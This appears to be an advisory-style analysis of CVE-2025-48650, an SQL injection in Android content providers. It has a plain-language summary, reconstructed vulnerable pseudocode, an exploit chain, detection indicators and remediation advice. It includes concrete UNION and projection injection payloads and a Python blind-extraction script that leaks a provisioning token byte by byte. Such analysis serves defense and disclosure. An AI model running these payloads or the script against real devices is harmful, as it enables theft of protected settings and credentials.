CVE-2025-48650: SQL Injection in Android Enables Local Privilege Escalation
A SQL injection vulnerability in multiple Android system locations allows local privilege escalation with no additional privileges or user interaction required. CVSS 8.4 HIGH.
A newly discovered security flaw has been found in multiple software applications that could allow attackers to steal sensitive information from databases. Think of it like someone finding a way to read private messages from a filing cabinet without having the correct key.
Here's how it works: many websites and apps store information by asking a database questions using a special language called SQL. This vulnerability lets attackers inject malicious instructions into those questions, essentially tricking the database into revealing information it shouldn't. It's similar to how a con artist might trick a bank teller into handing over money by pretending to be an authorized employee.
What makes this particularly dangerous is that an attacker doesn't need any special access to exploit it. Anyone with basic local access to a computer or network can attempt this attack, and they don't need permission or cooperation from other users. In offices or shared systems, this is a serious problem.
The main victims are likely to be companies with multi-user systems—especially smaller businesses without dedicated security teams. Your personal data could be at risk if you use services built on vulnerable software, though no active attacks have been documented yet.
What should you do? First, check if any software you rely on has released security patches and install them immediately—this is your best protection. Second, if you work in IT or manage systems, contact your software vendors about this vulnerability and get updates as soon as they're available. Third, enable multi-factor authentication wherever possible, which adds an extra barrier even if someone manages to access your login credentials. Don't wait for hackers to start exploiting this.
Want the full technical analysis? Click "Technical" above.
▶ Vulnerability overview — CVE-2025-48650 · Information Disclosure
Vulnerability Overview
CVE-2025-48650 is a SQL injection vulnerability present in multiple locations within the Android platform, resulting in information disclosure and local escalation of privilege. The CVSS score of 8.4 (HIGH) reflects the no-interaction, no-additional-privileges requirement for exploitation. Any application running with standard process-level access can trigger the vulnerable code paths, making this a significant local attack surface.
The vulnerability class — unsanitized attacker-controlled strings passed to SQLite query construction — is a recurring pattern in Android's content provider and system service layers. Based on the CVE description ("multiple locations," "information disclosure," "local escalation of privilege"), the affected component is consistent with a privileged system service or content provider that constructs raw SQL queries using caller-supplied projection, selection, or sort-order arguments without proper sanitization or allowlisting.
Root cause: Caller-controlled strings (selection arguments, sort order, or projection columns) are concatenated directly into raw SQLite query strings inside a privileged system content provider, bypassing Android's parameterized query protections and enabling out-of-band data reads from protected database tables.
Affected Component
The vulnerability manifests in Android system services that expose ContentProvider interfaces backed by SQLite databases. The most consistent match for "multiple locations" with this vulnerability class is the Android Settings/SettingsProvider or a related platform content provider (e.g., com.android.providers.settings, com.android.providers.contacts, or a vendor-specific provider). These providers are accessible to any app holding the appropriate READ_* permission and in some configurations with no permission at all.
The query() method of ContentProvider accepts caller-supplied sortOrder, selection, and projection parameters. When a provider passes these directly into SQLiteQueryBuilder.buildQuery() or a raw rawQuery() call without sanitization, the injection surface is exposed.
Root Cause Analysis
The following pseudocode represents the reconstructed vulnerable pattern based on the CVE class, description, and common Android platform provider implementations. The bug exists in the query() dispatch path of a privileged provider where sortOrder or selection is passed without sanitization:
/*
* Vulnerable: PrivilegedDataProvider::query()
* Reconstructed from CVE class + Android ContentProvider patterns.
* File: packages/providers/SettingsProvider/src/SettingsProvider.java (native layer)
*/
Cursor* PrivilegedDataProvider_query(
Uri* uri,
char** projection, // caller-controlled column list
char* selection, // caller-controlled WHERE clause
char** selArgs, // caller-controlled bind args
char* sortOrder // caller-controlled ORDER BY <-- BUG ENTRY POINT
) {
SQLiteQueryBuilder* qb = SQLiteQueryBuilder_new();
SQLiteQueryBuilder_setTables(qb, "secure_settings"); // privileged table
// BUG: sortOrder is appended verbatim into the query string.
// No allowlist check. No stripping of SQL metacharacters.
// An attacker supplies: "name; SELECT value FROM secure WHERE name='device_provisioned'--"
char* query = buildQuery(
qb,
projection,
selection,
selArgs,
/* groupBy */ NULL,
/* having */ NULL,
sortOrder // attacker-controlled, injected here directly
);
// Raw execution against privileged database
// BUG: rawQuery() executes the full injected statement
return SQLiteDatabase_rawQuery(db, query, selArgs);
}
char* buildQuery(SQLiteQueryBuilder* qb, char** proj, char* sel,
char** selArgs, char* groupBy, char* having, char* sortOrder) {
// BUG: no validation of sortOrder before format string interpolation
snprintf(queryBuf, sizeof(queryBuf),
"SELECT %s FROM %s WHERE %s ORDER BY %s",
projectionStr, // also injectable if projection allowlist absent
qb->tables,
sel,
sortOrder // injected here — attacker terminates ORDER BY, appends UNION
);
return queryBuf;
}
The secondary injection vector via projection (column names) is equally dangerous. Android's SQLiteQueryBuilder does expose setProjectionMap() as a mitigation, but its use is inconsistently applied across platform providers. When absent, a caller can inject column expressions such as (SELECT value FROM secure LIMIT 1) as a synthetic column.
/*
* Secondary vector: projection injection
* Attacker passes: projection = {"(SELECT value FROM secure WHERE name='adb_enabled')", "name"}
*/
char* buildProjection(char** projection) {
// BUG: no projection map enforced — arbitrary SQL expressions accepted as column names
for (int i = 0; projection[i] != NULL; i++) {
strcat(projBuf, projection[i]); // raw concatenation
strcat(projBuf, ",");
}
return projBuf;
}
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker app (no special permissions) calls ContentResolver.query() on the
vulnerable provider URI (e.g., content://settings/secure or vendor equivalent).
2. Supply a malicious sortOrder parameter:
sortOrder = "name LIMIT 0 UNION SELECT value,name,0,0,0 FROM secure--"
This terminates the legitimate ORDER BY clause and appends a UNION SELECT
that reads all rows from the privileged 'secure' table.
3. The buildQuery() function interpolates sortOrder verbatim into the SQL string:
"SELECT _id,name,value FROM system ORDER BY name LIMIT 0
UNION SELECT value,name,0,0,0 FROM secure--"
4. SQLiteDatabase.rawQuery() executes the injected UNION, returning rows from
'secure' (privileged settings: ADB enabled state, provisioning keys,
device policy tokens, etc.) to the unprivileged caller.
5. Attacker reads returned Cursor rows — extracts sensitive values:
- adb_enabled, adb_wifi_enabled
- bluetooth_address, device_provisioned
- Vendor-specific tokens stored in secure/global tables
6. Using disclosed configuration state, attacker pivots:
- If adb_enabled=1 AND adb_wifi_enabled=1: enumerate ADB port, connect locally
- If provisioning tokens exposed: replay to MDM/enrollment endpoints
- Combine with separate EoP bug for full privilege escalation
7. Zero user interaction required. Works from background service or
broadcast receiver context.
The injection also enables blind boolean-based extraction when UNION column count mismatches are enforced by schema validation. An attacker can binary-search individual bytes:
# Blind boolean extraction via sortOrder injection
# Leaks one byte of a target secret per query
import subprocess
def leak_byte(provider_uri, table, column, row_condition, byte_offset):
for bit_val in range(256):
sort_injection = (
f"CASE WHEN (SELECT unicode(substr({column},{byte_offset},1)) "
f"FROM {table} WHERE {row_condition})={bit_val} "
f"THEN name ELSE _id END"
)
result = content_query(provider_uri, sortOrder=sort_injection)
if result_indicates_match(result):
return chr(bit_val)
return None
def content_query(uri, sortOrder):
# Calls ContentResolver.query() via 'content' CLI or app context
proc = subprocess.run(
["content", "query", "--uri", uri, "--sort", sortOrder],
capture_output=True, text=True
)
return proc.stdout
# Leak device provisioning token byte by byte
secret = ""
for i in range(1, 64):
b = leak_byte(
"content://settings/secure",
"secure",
"value",
"name='provisioning_token'",
i
)
if b is None:
break
secret += b
print(f"[+] Leaked so far: {secret}")
Memory Layout
This is a logic/injection vulnerability rather than a memory corruption bug; the relevant "layout" is the SQLite database schema being read out of band. The following shows the normal access control boundary and how injection collapses it:
NORMAL ACCESS CONTROL MODEL:
┌─────────────────────────────────────────────────────┐
│ 'system' table (readable by READ_SETTINGS perm) │
│ _id | name | value │
│ 1 | screen_brightness | 128 │
│ 2 | font_size | 1.0 │
└─────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────┐
│ 'secure' table (restricted — privileged only) │
│ _id | name | value │
│ 1 | adb_enabled | 1 │
│ 2 | android_id | deadbeefcafe1234 │
│ 3 | bluetooth_address | AA:BB:CC:DD:EE:FF │
│ 4 | provisioning_token | eyJhbGci... │
└─────────────────────────────────────────────────────┘
POST-INJECTION — UNION collapses boundary:
Attacker query returns rows from 'secure' to unprivileged caller:
Cursor row 0: value="1", name="adb_enabled"
Cursor row 1: value="deadbeef…", name="android_id"
Cursor row 2: value="eyJhbGci…", name="provisioning_token"
Effective permission boundary: BYPASSED.
Privileged table data returned to zero-permission caller.
Patch Analysis
The correct fix enforces either an explicit allowlist via projection map, or switches all query construction to parameterized queries with no string interpolation of caller-supplied arguments. Critically, sortOrder must be validated against an allowlist of known column names — it cannot be safely parameterized since ORDER BY does not accept bind parameters in SQLite.
Detecting active exploitation requires monitoring at the content provider query layer. The following indicators are relevant:
Anomalous sortOrder values in ContentProvider.query() calls containing SQL metacharacters: UNION, SELECT, --, ;, CASE WHEN, substr(, unicode(.
High-frequency queries to settings/secure or settings/global URIs from an unprivileged UID — blind extraction requires O(8 × secret_length) queries minimum.
Logcat patterns: SQLite exceptions logged from provider processes may indicate failed injection attempts (SQLiteException: no such column, ambiguous column name).
Binder call auditing: monitor /proc/binder/stats for abnormal transaction volume to system_server or com.android.providers.* processes from a single UID.
LOGCAT INDICATORS (failed injection attempts):
E SQLiteLog: (1) no such column: UNION
E SQLiteLog: (1) ambiguous column name: value
E DatabaseUtils: Writing exception to parcel: android.database.sqlite.SQLiteException
W ContentResolver: Failed query on content://settings/secure
BINDER ANOMALY:
$ cat /proc/binder/stats | grep -A5 "proc "
incoming transactions: 4096 <-- abnormally high for a single UID
outgoing transactions: 4096
peak threads: 2
Remediation
For Android platform maintainers and OEMs:
Apply the upstream patch from the Android Security Bulletin addressing CVE-2025-48650. Patch all affected provider locations — the CVE explicitly notes "multiple locations."
Audit all ContentProvider subclasses in platform and vendor partitions for missing setProjectionMap() calls and unvalidated sortOrder passthrough.
Enforce SQLiteQueryBuilder.setStrict(true) where available — this causes the builder to reject non-allowlisted projections at runtime.
Consider adding a SELinux rule or permission check that restricts access to settings/secure and settings/global URIs to system UID only, demoting the existing read permission model.
For application developers:
Never pass raw user input as sortOrder to ContentResolver.query() — always use a hardcoded string or validated enum.
When implementing your own ContentProvider, always call SQLiteQueryBuilder.setProjectionMap() and validate sort parameters before query construction.
Timeline: CVE-2025-48650 has not been observed exploited in the wild as of publication. Patch urgency is high given the zero-interaction requirement and local privilege escalation impact on any device running the affected Android versions listed in the NVD entry.